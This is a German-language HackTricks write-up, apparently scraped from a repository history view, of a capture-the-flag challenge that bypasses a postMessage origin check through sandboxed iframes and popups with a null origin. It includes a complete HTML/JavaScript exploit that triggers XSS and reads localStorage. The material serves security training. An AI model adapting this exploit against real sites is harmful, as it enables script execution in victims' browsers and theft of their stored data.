hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md

93 lines
6.1 KiB
Markdown
Raw Normal View History

2024-02-10 15:36:32 +00:00
# Umgehung der SOP mit Iframes - 1
2022-10-13 00:56:34 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-10-13 00:56:34 +00:00
2024-02-10 15:36:32 +00:00
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks im PDF-Format** haben? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das [hacktricks repo](https://github.com/carlospolop/hacktricks) und [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)** einreichen.
2022-10-13 00:56:34 +00:00
</details>
## Iframes in SOP-1
2024-02-10 15:36:32 +00:00
In dieser [**Herausforderung**](https://github.com/terjanq/same-origin-xss), erstellt von [**NDevTK**](https://github.com/NDevTK) und [**Terjanq**](https://github.com/terjanq), müssen Sie eine XSS im codierten
2022-10-13 00:56:34 +00:00
```javascript
const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
2024-02-10 15:36:32 +00:00
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
2022-10-13 00:56:34 +00:00
}
```
2024-02-10 15:36:32 +00:00
Das Hauptproblem besteht darin, dass die [**Hauptseite**](https://so-xss.terjanq.me) DomPurify verwendet, um die `data.body` zu senden. Um Ihre eigenen HTML-Daten an diesen Code zu senden, müssen Sie `e.origin !== window.origin` umgehen.
2022-10-13 00:56:34 +00:00
2024-02-10 15:36:32 +00:00
Schauen wir uns die vorgeschlagene Lösung an.
2022-10-13 00:56:34 +00:00
2024-02-10 15:36:32 +00:00
### SOP-Umgehung 1 (e.origin === null)
2022-10-13 00:56:34 +00:00
2024-02-10 15:36:32 +00:00
Wenn `//example.org` in ein **sandboxed iframe** eingebettet ist, wird der Ursprung der Seite **`null`** sein, d.h. **`window.origin === null`**. Durch das Einbetten des iframes über `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` könnten wir also den Ursprung **`null` erzwingen**.
2022-10-13 00:56:34 +00:00
2024-02-10 15:36:32 +00:00
Wenn die Seite **einbettbar** wäre, könnten Sie diesen Schutz auf diese Weise umgehen (Cookies müssen möglicherweise auch auf `SameSite=None` gesetzt werden).
2022-10-13 00:56:34 +00:00
2024-02-10 15:36:32 +00:00
### SOP-Umgehung 2 (window.origin === null)
2022-10-13 00:56:34 +00:00
2024-02-10 15:36:32 +00:00
Die weniger bekannte Tatsache ist, dass wenn der **Sandbox-Wert `allow-popups` gesetzt ist**, das **geöffnete Popup** alle **gesandboxten Attribute** erbt, es sei denn, `allow-popups-to-escape-sandbox` ist gesetzt.\
Daher wird das Öffnen eines **Popups** von einem **null Ursprung** dazu führen, dass auch **`window.origin`** im Popup **`null`** ist.
2022-10-13 00:56:34 +00:00
2024-02-10 15:36:32 +00:00
### Lösung für die Herausforderung
2022-10-13 00:56:34 +00:00
2024-02-10 15:36:32 +00:00
Daher könnte man für diese Herausforderung ein **iframe erstellen**, ein **Popup** zur Seite mit dem anfälligen XSS-Code-Handler (`/iframe.php`) öffnen, da `window.origin === e.origin`, da beide `null` sind, ist es möglich, eine Payload zu senden, die das XSS ausnutzt.
2022-10-13 00:56:34 +00:00
2024-02-10 15:36:32 +00:00
Diese **Payload** wird den **Identifier** abrufen und ein **XSS** an die **Hauptseite** (die Seite, die das Popup öffnet) senden, **die** die **Position ändern** wird, um das anfällige `/iframe.php` aufzurufen. Da der Identifier bekannt ist, spielt es keine Rolle, dass die Bedingung `window.origin === e.origin` nicht erfüllt ist (denken Sie daran, der Ursprung ist das **Popup** aus dem iframe, das den Ursprung **`null`** hat), da `data.identifier === identifier`. Dann wird das **XSS erneut ausgelöst**, diesmal im richtigen Ursprung.
2022-10-13 00:56:34 +00:00
```html
<body>
2024-02-10 15:36:32 +00:00
<script>
f = document.createElement('iframe');
// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');
// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
2022-10-13 00:56:34 +00:00
</body>
```
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-10-13 00:56:34 +00:00
2024-02-10 15:36:32 +00:00
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks als PDF herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family).
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com).
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das [hacktricks repo](https://github.com/carlospolop/hacktricks) und das [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)** einreichen.
2022-10-13 00:56:34 +00:00
</details>